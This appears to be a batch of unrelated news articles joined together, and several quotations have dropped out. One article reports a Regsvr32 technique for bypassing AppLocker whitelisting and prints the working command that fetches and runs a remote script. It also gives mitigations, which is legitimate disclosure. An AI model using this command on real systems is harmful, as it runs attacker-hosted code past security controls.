radiation therapy.A total of 286 cases of non-small cell lung cancers were diagnosed in the two years before the introduction of ENB and 290 cases in the two years after. In the pre-ENB group, 67 patients had early stage disease (I and II) and 219 had late-stage (III and IV). In the post-ENB group, 116 patients had early-stage disease and 174 had late-stage disease. These results from the two-year period show a 73 percent increase in stage I and II lung cancer diagnoses and a 20.5 percent decrease in stage III and IV diagnoses.Bowling said.Along with Bowling, Brody physicians involved in the research were Dr. Paul Walker, chief of hematology and oncology, Dr. Craig Brown, associate program director of interventional pulmonology and Dr. Sharon Ben-Or, a thoracic surgeon with the Greenville Health System Cancer Institute.To read the abstract of the research article visit http://www.jnccn.org/content/14/2/181.full.pdf+html
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As congressional delegation tries to preserve 440th at Ft. Bragg, Charlotte Air National Guard facility gets better news

CHARLOTTE - If you live near Charlotte, you've probably heard and seen the big, gray-painted military cargo planes rumbling low overhead. They are the N.C. Air National Guard's C-130s, and they have been a familiar sight over the Queen City for more than four decades. That could change soon, though, as part of a military restructuring proposal that has gotten considerably less attention than the withdrawal of C-130s from Ft. Bragg.In February, the Air Force released its proposed force structure plan for the coming years. It includes a significant change for the N.C. Air National Guard 145th Airlift Wing. Under the proposal, in fiscal year 2018 (that begins Oct. 1, 2017), the unit, which flies out of Charlotte Douglas International Airport, would transition from the C-130 to the larger C-17.While both the C-130 and C-17 are cargo aircraft - that's what the "C" stands for - they serve very different roles. The turboprop-powered C-130 is the U.S. military's standard tactical transport plane, acting as a sort of a large flying delivery van for regional deliveries. The C-17, meanwhile, is a strategic jet transport, capable of hauling larger payloads, such as a tank, or a larger number of troops, over greater distances.The transition to the C-17 is particularly notable as the N.C. Air National Guard is one of only four C-130 units that are trained to engage in aerial firefighting, which involves dropping retardants on forest fires from very low altitude, often over rough terrain. The other three squadrons are based in the western United States. C-17s are not used for aerial firefighting.The 145th Airlift Wing is a long-time C-130 operator, having flown the type since the early 1970s. Despite this heritage, the Air National Guard's leadership pushed for the move to Charlotte of the C-17, says Maj. Paul Kurts, spokesman for the 145th.Kurts says the 145th's good reputation played a critical role in the selection of Charlotte to convert to the C-17."The Air Force decided that Charlotte could best handle the mission," Kurts said, noting the unit's geographic proximity to the many military bases in the Southeast, good relationship with Charlotte Douglas International Airport, and success in recruiting personnel.The C-17s that the N.C. Air National Guard would receive would be older aircraft and come from Charleston Air Force Base in South Carolina.The Charlotte unit's conversion would not require any new infrastructure spending. The guard has enough ramp space to park the eight C-17s it would receive and its existing hanger is large enough to accommodate a C-17.The transition also isn't expected to have much impact on the total number of people assigned to the air wing. The switch in aircraft type may lead to some turnover, however, as some long-serving troops may see this as a good time to retire while others may wish to stay on the C-130 and transfer to Air National Guard or Air Force Reserve units elsewhere.The Charlotte unit's move to the C-17, subject to congressional approval, comes as the Air Force is downsizing. In 2015, the Air Force had 318 C-130s, and only a third of them served with the regular Air Force. The Air National Guard and Air Force Reserve operated the other two-thirds. By 2019, the Air Force would like to reduce its C-130 transport fleet to 300 planes, with guard and reserve units retiring older aircraft.Even so, the Air Force simply can't close domestic bases. Doing so would require another round of Base Closure and Realignment Commission actions, something that Congress has been unwilling to authorize. So the Air Force must move planes around, being careful to give reserve and guard units something to do at facilities like Charlotte not situated at active-duty Air Force bases.Ft. Bragg's 440th Airlift Wing, an Air Force Reserve unit, also had operated the C-130. Under an earlier force realignment plan, the Air Force proposed closing the unit. The state's congressional delegation is continuing to fight the elimination of the 440th.The Air Force's new force structure proposal also would see Air Force Reserve units in Niagara Falls, N.Y., and Pittsburgh trade the C-130s they operate for an equal number of KC-135 tankers and C-17s, respectively. The Alaska Air National Guard also would lose its C-130 squadron but assume control over the eight active-duty C-17s currently based in the state.
It may have required the public evisceration of Target and Sony Pictures, but it is finally possible to talk about information security in an Australian pub.

It might seem odd that a global industry worth just shy of US$100 billion globally wasnt already a point of discussion, but cyber security is not your average industry. It is a complex, shadowy sister of consumer tech, better known for its criminals than its champions.

Its not only reached the pub  its also a big topic for the boardroom. Security is a true priority for management. Many CEOs are now approaching their tech providers to ask, What are we doing about hackers?

This may help to explain why data from Gartner in November pegged industry spend to be worth US$91 billion by years end and US$116 billion by 2019. Gartner predicts spend in the security services industry, including consulting, hardware support, implementation and outsourcing, will trip US$55 billion in 2016 and US$73 billion by 2019.

With so much money at stake, it is no surprise resellers have read the tea leaves and are making forays into the cyber security sector. Dedicated security shops now face competition from a new breed of generalist IT solution providers that are hiring security specialists to win a slice of the hacker-thwarting market.

Resellers recognise cyber security is a permanent part of the landscape and are building the requisite capabilities. They are putting sales staff through security courses, dropping engineers into universities, setting up 24/7 security operations centres and forming advanced, penetration- testing red teams that sit on the forefront of infosec consulting.

New blood

It was in September 2013 when The Missing Link, based in Artarmon, Sydney, launched its dedicated security wing with Aaron Bailey at the helm. The reseller already offered security services in other parts of the business, but decided that security warranted a dedicated department with specialist staff.

Bailey was one of two seasoned security professionals to start at the new business. We focused on core services initially, such as [credit card security standard] PCI DSS gap analysis, wireless audits and ISO audits  things I knew people needed and that were relatively easy to hire skills for, Bailey says.

The initial core service focus kept the new wing of the 17-year-old business humming while it found its feet, ramped up revenue and hired staff. The next hacker joined six months later and so the pattern continued,, hiring builders, breakers and testers until it reached its current headcount of 14. Bailey says the company has grown its security catalogue from 30 services to more than 40 and developed its list of products so customers can select their level of security maturity, plotted on the Y axis, for security technologies plotted on the X plane.

Weve since added heavily to technical consultancy such as wide-scope penetration tests covering web apps, databases and mobile., Bailey says. The companys penetration testing now extends to Hollywood-esque red-teaming, SCADA industrial control systems of the kind powering critical utilities, and social engineering.

Twelve kilometres away in the northern beaches suburb of Balgowlah, tech and communications consultancy Commulynx also ramped up its security offerings into a dedicated practice. We realised three years ago that we are a security and infrastructure player, managing director Stephen Knights says. We discovered that by deeply analysis of what we were did in the market.

The effort identified shortcomings in the companys security-focused message, which had remained quiet over the six years to 2012. The company  which has appeared in the CRN Fast50 five times  has since sacrificed nearly two years of growth to bankroll a whole-of-business retraining program schooling geeks and sales, introducing learning materials, better lines of communication and constant revision to ensure relevance.

Knights says Commulynxs 10 technical staff were retrained in their security vendor products to expand their knowledge , while sales staff had something of a security rite-of-passage in their significant education programs. People are having to wake up to security, Knights says. Legislation is being formed and will only become tougher. No longer can you put your head in the sand.

Brisbane enterprise technology outfit Data#3 has also undergone a security facelift, launching a dedicated department in July. The wings national practice manager, Richard Dornhart, says Data#3s work involves a drive for new security talent, pooling knowledge from within and upskilling sales staff. It marks recognition of the relentless rise of security as a significant element of the industry

Our operations is really focusing on helping customers develop the appropriate security strategies, Dornhart says. There has been a significant change in the way customers are approaching security challenges, be it compliance, risk or whatever else.

He says security was always a focus for the company, but demand had reached the point that it became necessary to launch the dedicated arm, which has a significant focus on risk assessment.

Next: Stiff competition
MOQdigital has announced a distribution deal with Prime Practice to spread the company's cloud-based technology to 600 dental practices.

As part of the five-year agreement, the Brisbane and Sydney-based Microsoft partner will receive a monthly licensing fee for every dental practice that signs with Prime to use the data integration product IoT Central.

Prime Practice is a dental consultancy based in Australia that provides services to practices around the world.

With the partnership, Prime Practice is looking to market the solution to 600 practices in the first year and up to 5,000 over five years.

"For the first time ever we have a channel that can take our solution to the market," said Page.

Prime Practice joint chief executive Wayne Shainfeld said: "For the first time in the Australian dental industry, we will be able to seamlessly access relevant big data and key metrics from the leading practice management software and financial systems in real-time  using cloud-based technology. This will allow dental practices to see what is really going to on in their businesses at any point in time."

MOQdigital last month acquired software-as-a-service provider Skoolbag in a deal worth $1.5 million, and in a separate deal bought out Tetran, a managed services provider which grew 20 percent in 2015 turning over $7.5 million.
Printer manufacturer Lexmark International has been acquired for US$3.6 billion (AU$4.6 billion) in cash by a group of investors led by Chinese-based inkjet and laser hardware manufacturer Apex Technology.

The deal follows a strategic alternatives review process that resulted in a US$65 million restructuring of Lexmarks Imaging Solutions and Services division and the elimination of 550 jobs.

The merger is expected to close during the second half of 2016, pending other closing conditions as well as the approval of Lexmark shareholders and regulatory authorities in the USA, China and other foreign jurisdictions, according to a statement from Lexmark.

The announcement also comes a month after the company announced the layoffs of 143 employees at its Lexington, Kentucky headquarters, part of a plan announced last year to shed more than 1,000 from its payroll.

Ken Stewart, a printer industry analyst, and principal consultant with ChangeForge, said he expects this sale will end up igniting a price war in the printer space.

"Chinese companies are known for driving efficiency," he said, adding that he believes Apex will streamline Lexmark's supply chain and manufacturing processes to make the company more competitive on price. That, he added, will fuel a battle with other printer manufacturers to capture market share with low prices.

Stewart said the price race has been underway for some time with the development of inkjet options for business customers from such companies as Brother and Epson - which allow customers to reduce expenses by not buying toner - and matching prices from printer manufacturing giant HP Inc.

"If you are going to start a price war, you are going to need deep pockets, and I think (Apex) has that," he said.

In the short term, Stewart said, the race will benefit partners with better price points, but after a while, the channel will begin to compete on lower pricing and the value-added hardware will be difficult to sell at a higher price.

According to the statement from Lexmark, the companys board of directors has unanimously approved the acquisition, which will provide a 30 percent premium above Lexmark's closing stock price of last 21 October (US$31.06, according to Yahoo Finance), the day before news of Lexmark's strategic alternatives process became public.



The group of buyers also includes Chinese private equity firms PAG Capital and Legend Capital. Legend is also a shareholder in Zhuhai Seine Technology, a Chinese-based company that owns 70 percent of Apexs voting shares. The group will finance the purchase of Lexmark via equity contributions from its members, as well as debt financing, according to the Lexmark statement.



The merger will take Lexmark private. Its stock, which closed Tuesday US time at US$34.66 a share on the New York Stock Exchange, opened Wednesday US times trading session at US$38.12, up nearly 10 percent. It stayed close to that level with about two hours left in the session.

Paul Rooke, Lexmarks chairman and CEO is expected to continue to lead the company, the companys statement read. No other major changes are planned, the statement indicated.

Lexmark declined further comment.

In its 2015 fiscal year, Lexmark reported a drop in revenue of 4 percent, from US$3.71 billion in 2014 to US$3.55 billion. It also reported net debt of US$903 million after it had acquired software developer Kofax for US$1 billion in March 2015.

This article originally appeared at crn.com
Telstra Ventures has announced an $8 million investment in NGINX, a US company known for its open source software.

The web engine vendor is behind some of the world's most well-known internet brands - such as Netflix that uses its web server and WordPress.com that uses NGINX load balancers. According to NGINX, over 40 percent of the websites running on AWS use NGINX. The company also delivers web services from Microsoft Azure and Google Cloud Platform.

NGINX claims to have its application delivery solution in use by more than 140 million sites around the world.

The telco lead a group of investors that also included NEA, e.ventures, Runa Capital and Index Ventures. According to Telstra ventures, the company is considering to use NGINX web engine services to improve some of its "heavy traffic websites".

"When you look under the hood of many of the most popular websites around the world today you find NGINXs technology. This business continues to grow their share of the web server market and has compelling value-add propositions to sell," said Telstra Ventures managing director Mark Sherman.

"We will be working with them on opportunities to reach our global customer base with their technology."

NGINX chief executive Gus Robertson said: "We see Telstra as an important partner in expanding our market reach to new geographies. Telstra has an extensive customer footprint, both in Australia and across Asia-Pacific. We are looking forward to working with them to bring our technology solutions to companies across the region."

Telstra this week added AWS as one of its cloud providers along with Cisco, VMware and IBM. The telco was also admitted this month as a CRN MVP for the second consecutive year.
Plaintiffs leading a lawsuit against online dating website Ashley Madison over a security breach that exposed the personal data of customers must publicly identify themselves to proceed with the case, a US judge has ruled.

Forty-two plaintiffs, seeking to represent users of the website who had their information compromised, had proceeded anonymously against Ashley Madison's Toronto-based parent company Avid Life Media, the ruling released on 6 April showed.

The plaintiffs are suing Ashley Madison, a website that facilitates extramarital affairs, for failing to adequately secure their information, marketing a Full Delete Removal service that did not work, and using fake female accounts to lure male customers, according to the ruling.

Their action comes after hackers who claimed to be unhappy with Avid Life's business practices publicly released Ashley Madison customer data last August.

Reuters has not independently verified the authenticity of the data, emails or documents.

Judge John A. Ross, of a district court in Missouri, wrote in his ruling that being publicly named as an Ashley Madison user amounts to more than common embarrassment, but noted the 42 plaintiffs have special roles in the case that require identification.

The plaintiffs are "class representatives" and may need to testify or offer evidence, unlike "class members," those in the lawsuit who do not need participate as actively, Ross wrote.

He ruled that the plaintiffs must either identify themselves or proceed as class members, who can remain anonymous.

The "class" for the collective lawsuit has not yet been certified, the ruling noted. There are at least 10 plaintiffs who are publicly named.

Avid Media did not immediately respond to a request for comment.

(Reporting by Ethan Lou in Toronto; Editing by Bernadette Baum)

This article originally appeared on Reuters
State Providing $4.9 Million in Infrastructure Funding

Existing Business Building Category

Vacant Building Category

Contact: Crystal Feldman

Crystal Feldman govpress@nc.gov

Raleigh, N.C. - Governor Pat McCrory announced today that the North Carolina Rural Infrastructure Authority (RIA) approved 17 grant and loan requests totaling $4,905,420. The requests include commitments to create a total of 161 new jobs across the state.said Governor McCrory.The RIA reviews and approves funding requests for grant and loan programs. The programs are operated by N.C. Commerce's Rural Economic Development team, which is led by Secretary John E. Skvarla, III, and Assistant Secretary Patricia Mitchell, CEcD. Grants support infrastructure development, building renovation and site improvements. Since its creation by Governor McCrory and the North Carolina General Assembly in 2013, the Authority has approved approximately $90 million in awards.The RIA approved one request under the state's Industrial Development Fund - Utility Account program.Catawba County: A $671,920 grant to assist with wastewater service and industrial access to Park 1764, a 170-acre Class A Business Park. The park is designed to encourage high-tech, advanced manufacturing, office and R&D operations in Catawba County in order to offset job losses in traditional industries.The Industrial Development Fund - Utility Account provides grants to units of local government of the 80 most distressed counties in the state. Funds may be used for publicly-owned infrastructure and should be used for projects that are reasonably expected to result in the creation of new jobs. IDF - Utility Account funding is derived from portions of Job Development Investment Grants (JDIG) awarded in Tier 2 and Tier 3 counties.The RIA approved six loans under the state's Community Development Block Grant (CDBG) program:$600,000 in support of the reuse of a vacant building by CMI Enterprises, which is opening a 30-worker facility that will make soft trim textiles and fabrication solutions for seats designed for recreational vehicles, buses and trucks, as well as movie theatres and sporting venues. The Florida-based company has been in business since 1984. Funds will be used to improve roofing, electrical, plumbing and HVAC systems. The loan will support a total capital investment of $2.6 million.$500,000 to support the redevelopment of two abandoned downtown buildings for use by AFAB Promotions and Thoroughbred Partners. AFAB is a maker of screen print and embroidered fabrics that has operated in Kings Mountain since 2000. Thoroughbred Partners intends to bring its building to code and make it handicap-accessible in order to attract business tenants. The loan supports a total capital investment of $737,500. The loan is a collaborative solution between CDBG and the Downtown Redevelopment Fund of the North Carolina Main Street program.$500,000 to support the renovation of two abandoned buildings in uptown Shelby for use by The String Bean, Greenbrook Designs, Walker Woodworking and Uptown Indigo. The String Bean is an upscale restaurant, caterer and specialty grocer. Greenbrook Designs provides design services, kitchen and bath features, and high-end lighting solutions. Walker Woodworking is a maker of custom cabinetry that was incorporated in 1999. Uptown Indigo, a new business, will serve as an events venue. The loan will support a total capital investment of $1.8 million. The loan is a collaborative solution between CDBG and the Downtown Redevelopment Fund of the North Carolina Main Street program.$150,000 to support the renovation of the second story of an abandoned residential building in downtown Belmont for use as commercial office space by Finial Construction Company. Renovations include HVAC, plumbing and electrical systems, as well as interior wall restoration. The loan supports a total capital investment of $200,000. The loan is a collaborative solution between CDBG and the Downtown Redevelopment Fund of the North Carolina Main Street program.$400,000 to support the renovation of an abandoned commercial building in downtown Monroe. The building, which has been unoccupied for the past ten years, will house the Cotillion Finishing School and other tenants. The renovation includes new flooring, stairwells, fire suppression system, plumbing and HVAC. The loan supports a total capital investment of $454,000. The loan is a collaborative solution between CDBG and the Downtown Redevelopment Fund of the North Carolina Main Street program.$500,000 to support the renovation of a vacant building in downtown Warrenton for use by Milan of Warrenton, Inc. The building was constructed in 1920 and has been unoccupied for ten years. Milan of Warrenton, an established restaurant, caterer and retailer in downtown Warrenton, will relocate there and double its capacity. The loan supports a total capital investment of $854,169. The loan is a collaborative solution between CDBG and the Downtown Redevelopment Fund of the North Carolina Main Street program.The Community Development Block Grant program is a U.S. Department of Housing and Urban Development (HUD) program administered in part by the North Carolina Department of Commerce. CDBG's economic development funds provide grants to local governments in Tier 1 and Tier 2 counties for creating and retaining jobs. Project funding is based on the number of jobs to be created and the level of economic distress of applicant communities.The Downtown Redevelopment Fund of the North Carolina Main Street program supports efforts to correct code deficiencies in underutilized downtown commercial buildings.The RIA approved a total of 10 grants under the state's Building Reuse program:a $160,000 to support the renovation of a building that will facilitate a 16-job expansion at Gesipa Fasteners USA. The company was founded in 1955 and makes a variety of blind rivet options. The project renovates HVAC, electrical and plumbing and expands office space. Its building was constructed in 1999. The grant is part of a total capital investment of $365,239.a $500,000 grant to support the renovation of a building in Lumberton that will facilitate a 14-job expansion at Alamac Investors, owner of Alamac American Knits. The company is a textile manufacturer that employs 175 workers in Lumberton. Its building was constructed in 1962. Renovation will include roofing, flooring and dock doors. The grant is part of a total capital investment of $1,141,352.a $80,000 to support the renovation of a building in Brevard that will facilitate an eight-job expansion by Stone Mountain Cabinetry and Millwork. The company is a manufacturer of specialty cabinetry products. Its building was constructed in 2007. The project adds 3,500 sq. ft. to the building. The grant is part of a total capital investment of $218,890.a $158,000 grant to support the reuse of a vacant building in Bath by Hysucat USA. The international company, a manufacturer of rigid inflatable boats for recreational, military and commercial markets, will create 14 jobs. Upgrades include roofing, lighting, flooring and painting. The building was constructed in 1960 and has been vacant for four months. The grant is part of a total capital investment of $381,500.a $40,000 reuse grant to support a four-job expansion by Speech N Progress, a business providing speech and language services to residents of Robeson and surrounding counties. The building was constructed in 1930 and has been vacant for five months. The renovation includes windows, flooring and a reconfiguration of office space. The grant is part of a total capital investment of $304,010.a $500,000 reuse grant for a building in Forest City that will support a 40-job expansion by U.S. Precision Construction. The company is an exclusive provider of precision walls and flooring for residential and commercial markets. The building was constructed in 1996 and has been vacant three months. The renovation will include upgrades to electrical systems, plumbing, HVAC and roofing. The grant is part of a total capital investment of $6,594,895.a $10,000 reuse grant for a building that will support a two-job expansion by Main Street Market, a restaurant and retailer. The downtown building was constructed in 1918 and has been vacant for three years. Renovations will include HVAC and restrooms. The grant is part of a total capital investment of $130,500.a $50,000 reuse grant f0r a building that will support a 10-job expansion at 217 Brew Works. The company is a craft-beer microbrewery with both inside and outside sales. The building was constructed in 1934 and has been vacant for three years. Renovations will include windows, roofing and flooring. The grant is part of a total capital investment of $1.2 million.a $20,000 reuse grant for a building in Burnsville that will support a 4-job expansion at Blind Squirrel Brewery. The company is a full-service restaurant and taproom. The building was constructed in 1925 and has been vacant for eight months. The renovation will include roofing and HVAC. The grant is part of a total capital investment of $330,000.a $65,500 reuse grant for a building in Tabor City that will support RADIX-Bay, an information technology consulting company that is creating 19 jobs. The company serves both private-sector and government clients. The building was constructed in 1998 and has been vacant for four years. The renovation will include flooring, walls and HVAC. The grant is part of a total capital investment of $286,800.The Building Reuse Program provides grants to local governments to renovate vacant buildings, renovate and/or expand buildings occupied by existing North Carolina companies, and renovate, expand or construct health care facilities that will lead to the creation of new jobs in Tier 1 and Tier 2 counties and in rural census tracts of Tier 3 counties.In addition to reviewing and approving funding requests, the N.C. Rural Infrastructure Authority formulates policies and priorities for grant and loan programs administered by N.C. Commerce's Rural Economic Development team. Its 15 voting members are appointed by the Governor, House Speaker and Senate President Pro Tem. The North Carolina Commerce Secretary serves as a non-voting member of the Authority.said Commerce Secretary Skvarla.Sec. Skvarla, Dr. Mitchell and other team members are now hosting antour across all regions of the state. The presentation showcases job-creation programs and strategies for local business, governmental, educational and community leaders. Upcoming stops include Western Carolina University on May 3rd and Haywood Community College on May 4th. For more information contact: info@nccommerce.com.
Carnival Corporation today announced it will sail as planned from the U.S. to Cuba with all travelers on Fathom's Adonia, including Cuba-born passengers, for the companys week-long voyages to Cuba.

Carnival Corporation worked closely with Cuba to allow its cruise ships to operate in a similar manner as current air charter operations to Cuba, starting with its historic inaugural voyage on May 1, 2016, according to Carnival.

"We made history in March, and we are a part of making history again today," said Arnold Donald, CEO of Carnival Corporation. "More importantly, we are contributing to a positive future. This is a positive outcome and we are extremely pleased. We want to extend our sincere appreciation to Cuba and to our team who worked so hard to help make this happen."

"We have already seen tremendous interest in the incredible Cuba journey we have put together, and we are ecstatic that this historic opportunity is open to everyone who wants to travel to Cuba," said Tara Russell, president of Fathom and global impact lead for Carnival Corporation.

Russell added: Our guests will visit three beautiful and unique destinations on the island all in one week, with the convenience of only having to unpack once while we sail on the Fathom Adonia, our premium small ship with its excellent and diverse dining, service and accommodations. We are looking forward to treating Fathom travelers to an unforgettable experience.

Carnival Corporations Fathom brand and its voyages to three ports of call in Cuba

During each sailing, Fathom will visit Havana, Cienfuegos and Santiago de Cuba, three ports of call for which Carnival Corporation has obtained berthing approval.
It seems that this is what it has come down to: The individual right of privacy and security versus the expediency of law enforcement vis-a-vis the related issues of personal encryption and law enforcement access of private emails with an effective gag order preventing the individual from ever knowing that their electronic information was intercepted.

On April 14, Microsoft joined many other large Internet companies in pushing back against government intrusion into their business by suing the federal government for violating Microsofts first amendment right to free speech by ordering Microsoft not to inform individuals when that individuals data was accessed by law enforcement.

This will be an interesting case and no doubt a watershed for future legislation and litigation. But before we look at the possible outcomes, it is useful to understand the source of legitimacy of the governments demands and Microsofts position.

Prior to 2001, the Supreme Court repeatedly affirmed an individuals Fourth Amendment rights to privacy and protection against unreasonable search and seizure by requiring that Law Enforcement notify the subject of a search prior to the search, or at least during or as soon as practicable after, unless there were extreme mitigating circumstances such as risk of life or the flight of a felon.

[ ALSO ON CSO: The economics of back doors ]

Section 213 of Patriot Act gravely crippled, and in some cases effectively removed, a citizens rights under the fourth amendment by stating that law enforcement may withhold notification if it can show that their investigation may be jeopardized. Given this extremely low bar, few should be surprised that as a matter of practice, every investigation is claimed to be in jeopardy if the subject of a search is notified. In addition, although section 2705(a) of the Electronic Communications Privacy Act (ECPA) (amended by the Patriot Act) provides that notice of a search warrant must not exceed 90 days, section 2705(b) allows a judge to delay notification indefinitely.

Under this sneak and peek indefinite delay doctrine, federal judges approved 2,600 secret searches of Microsofts customers in the last 18 months. That is 4.75 new search requests every day, weekends included, for the last year and a half. In the first six months of 2015, Apple revealed that it had received 1,407 similar requests for secret searches  7.7 new searches every day.

It would be difficult to imagine, even given the size of the population of the United States, that these requests are the targeted investigations that they should be.

Microsoft is claiming in its recent lawsuit that section 2705(b) of the ECPA violates Microsofts first amendment right to free speech by preventing it from speaking with its customers and is asking the court to rule that section 2705(b) is unconstitutional and should be set aside. Microsoft goes on in their suit to describe the move of data from personal devices to cloud storage and argues that cloud storage is still personal storage and should be afforded the same protections provided to the owner of a personal hard drive. In addition, Microsoft is claiming that the sneak and peek tactics violate a customers fourth amendment rights in that the search is unreasonable due to the lack of notice.

[ RELATED: Privacy: at what cost? ]

This lawsuit comes at an interesting time when we are seeing a collision of the federal governments attempt to weaken personal privacy in the name of anti-terrorism with industry professionals push to reduce crime by providing the individual with more privacy and security. Couple this with the passing of the General Data Privacy Regulation (GDPR) in Europe that increases businesss responsibility to protect its customers data, and we have the perfect storm of conflicting legislation with the individual and private business drowning in the center.

One thing that history has shown us is that privacy (through secrecy of passphrases and encryption) can only be maintained in an absolute. Even Benjamin Franklin realized this on a simple level when he quipped Two people can keep a secret, if one of them is dead.

Backdoors to encryption such as are being proposed by the Burr-Feinstein anti-encryption bill are well intentioned but will do nothing but weaken privacy to the point of non-existence and could actually increase the fraud perpetrated on the individual. In response to a post on the Burr-Feinstein bill, one security expert commented: I cant wait to live in a country where ransom-ware has the best crypto!

The Chinese have a curse May you live in interesting times. We are all in one of the most interesting times of modern history as the decisions by the U.S. courts on the Microsoft lawsuit and the Congresss voting on the Burr-Feinstein bill will have profound and lasting influence on Americans right to privacy and freedom for many, many years to come.
A researcher in Colorado has discovered a feature in Regsvr32 that allows an attacker to bypass application whitelisting protections, such as those afforded by Microsoft's AppLocker. If the technique is used, there's little evidence left behind for investigators, as the process doesn't alter the system registry and in some cases comes across as normal Internet Explorer traffic.

Casey Smith, a researcher in Colorado, needed to install a reverse shell, but the workstation in question was locked down by AppLocker and script rules. After some trial an error, he discovered an interesting solution:

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll

"The amazing thing here is that regsvr32 is already proxy aware, uses TLS, follows redirects, etc. ... And ... You guessed a signed, default MS binary. So, all you need to do is host your .sct file at a location you control," Smith wrote.

Up until this week, few people  if any  knew that Regsvr32 could accept a URL for a script. This makes for some interesting developments, because all an attacker has to do is place the code block (VP or JS) inside the registration element. Smith published several proof-of-concept scripts, which other researchers confirmed work as expected.

If used, this command will make Red Team engagements a bit easier, and the same can be said about criminal attacks. It's certainly a neat trick. As Smith wrote, it doesn't alter the registry, it doesn't require administrative privileges, and the scripts can be called over HTTP or HTTPS.

Salted Hash as reached out to Microsoft for comment, and we'll update this story if they chose to respond.

"Please note, the exploit described does not make any changes to the registry; monitoring of registry entries will not be effective," wrote an information security consultant in Southern California who goes by the handle Munin.

Regsvr32 is whitelisted, seen as an essential system function. The problem is the un-sandboxed feature and network awareness, which is why it can accept URLs (external or local).

"Kind of like early Web browsers, when JavaScript first came out," Munin explained to Salted Hash.

Munin said that a possible indicator of compromise could exist, as .sct files loaded onto the system might be found in the "Temporary Internet Files" folder.

There is no patch available, but Munin suggests blocking Regsvr32.exe with Windows Firewall, which removes the network awareness. It's possible that blocks on Regsvr32.exe and Regsvr64.exe will be needed for full effectiveness.

Other researchers have said that Device Guard, fully enabled with script protection will block this bypass as well, but that would require that the organization have Windows 10 Enterprise and Hyper-V on the system in question.

"This is a very severe vulnerability, as it allows for arbitrary code execution by a trusted program, and should be mitigated as soon as possible," Munin said.

Update: Several readers have emailed (in addition to the comment below) to say that .sct files shouldn't be used as an indicator, as any file extension will work. This will make investigations all the more difficult until Microsoft does something about this function.
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THOMASTON, Conn.  All Aboard the Naugy Chocolate Decadence Sunset Train Tour for adults. In partnership with Fascia's Chocolates and Haight-Brown Vineyard, the Railroad Museum of New England (RMNE) is pleased to announce the next Wine and Chocolate Train on Friday, April 29, 2016 on the Naugatuck Railroad.

The tour begins from the Thomaston Station with a 6pm cocktail party featuring live music, Haight-Brown wines and appetizers. The train will depart at 6:30pm and the ride includes scenic photo opportunities including toasting the setting sun at the Thomaston Dam, followed by wine and chocolate pairings while riding in the restored 1950's New Haven Railroad Budd Car along the scenic Naugatuck River to Waterbury. There, participants will tour Fascia's Chocolate Company and Make Your Own Chocolate; more tasting; purchase your favorites, and enjoy a freshly made chocolate lava cake from Lynne's Chocolate Cakery. There will be more wine and chocolate pairings including the ride back to the Station. Tickets are priced at $75 per person and can be purchased through the Railroad Museum's website at www.rmne.org.

The Chocolate Decadence Sunset Train Tours will repeat on Fridays, May 27th, June 24th, and September 30th.

"Last year's inaugural season tours were all sold out and a tremendous success! All the passengers and volunteers had a great time." according to Brent Bette, RMNE President.

Upcoming Schedule: Regular Season starts on Sunday, May 29th and runs until August 30th with trains operating on Sundays at noon and 2pm and on Tuesdays at 10am. Passengers enjoy the view riding along the scenic Naugatuck River on the 17 mile tour.

As part of the 12th Annual state-wide Connecticut Open House Day on Saturday, June 11th, the Naugatuck Railroad will be offering special excursion trips from our 1881 Thomaston Station direct to Fascia's Chocolates in Waterbury. Passengers can ride our restored 1951 Budd Rail Diesel Car ("RDC"), followed by a tour of Fascia's Chocolate Factory and Store before returning to Thomaston. Passengers may also depart from Fascia's and take the Budd Car to Thomaston for a tour of the Station and restored antique railroad locomotives and cars and then return.

Fall Foliage Scenic Train Tours are scheduled in September and October on Sundays at noon and 2pm and Tuesdays at 10am.

Pumpkin Patch Trains run on Saturdays and Sundays from October 8th to the 23rd.

The Second Annual Veterans Day Recognition is planned at the Thomaston Train Station on November 11th from 8:00am to 10:00am.

Holiday Season operations with the Santa Express and Northern Lights Limited start on Friday, November 25th and conclude on Sunday, December 18th. Northern Lights Limited trains leave at 5pm and 7pm from Friday to Sunday. Santa Express trains leave at 2pm on Saturday and Sunday.

The RMNE is a proud participant in Thomaston's "Light up the Town" celebration which is scheduled for November 26th at 6:00pm. Tickets can be purchased online at www.rmne.org or phone 860-283-7245 anytime (24/7). All tickets are non-refundable and non-exchangeable. Trains depart from Thomaston Station at 242 East Main Street, Thomaston. Passengers can pick up tickets at the Thomaston Station's "Will Call" window on the day of the event. Tickets are printed with your name. Please arrive at the Station 30 minutes before departure time. Trains depart promptly at the scheduled times. From birthday parties to corporate events, contact the RMNE to find out how the Thomaston Station and the Naugatuck Railroad can offer you a great time in an unique locale. The RMNE, located at the landmark Thomaston Train Station, is a not-for-profit, all volunteer, educational and historical organization that dates back to January 1968. The mission of the RMNE is to tell the story of the region's rich railroad heritage through our educational exhibits and operation of the Naugatuck Railroad.

The museum concept is more than artifacts, it's also a story of the region and the development of society around the railroad.

More Information about the Railroad Museum of New England can be found at: www.rmne.org and further information about Fascia's Chocolates can be found at: www.fasciaschocolates.com.
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This week, the Greenwich Chamber of Commerce launched its second annual Survey of Business Attitudes to determine the needs of residents and business owners across the town.

Launched last year, the survey gauges attitudes on the local economy, as well as connects with small businesses on the issues most important to them. Its become a major part of the advocacy efforts of the Greenwich Chamber of Commerce, an independent nonprofit organization that promotes the towns businesses as well as the social and civic interest of the community.

Through the survey, the organization is trying to demonstrate its commitment to advocating on behalf of the local businesses, said Marcia OKane, president and chamber CEO. The second survey, like the first one, will determine prevailing attitudes toward the current business climate.

The first section focuses on the economic conditions in Greenwich, including growth from last year, as well as impediments and challenges of owning a business. The second section addresses interactions business owners may have had with town or state government, as well as the satisfaction of those interactions and support from government in developing a business. The survey also collects general information from the participating businesses, including the number of employees and how long it has existed.

Last year, the chamber discovered Greenwich remains a town where businesses can grow and that businesses were experiencing an improvement in the local economy. Sixty-one percent of respondents reported business conditions were better than the year before; only 10 percent said conditions were worse. Impediments to growing businesses included finding new clients (43 percent), regulations and permits (22 percent), finding skilled labor (20 percent) and other (20 percent), which primarily included traffic and parking.

Ultimately, the chamber is developing plans to build better communication between the business community and town hall. Over the next few years, it will note recurring trends in the towns business community through the survey.

We want the businesses to know that the chamber cares about them and appreciates what theyre thinking, OKane said.

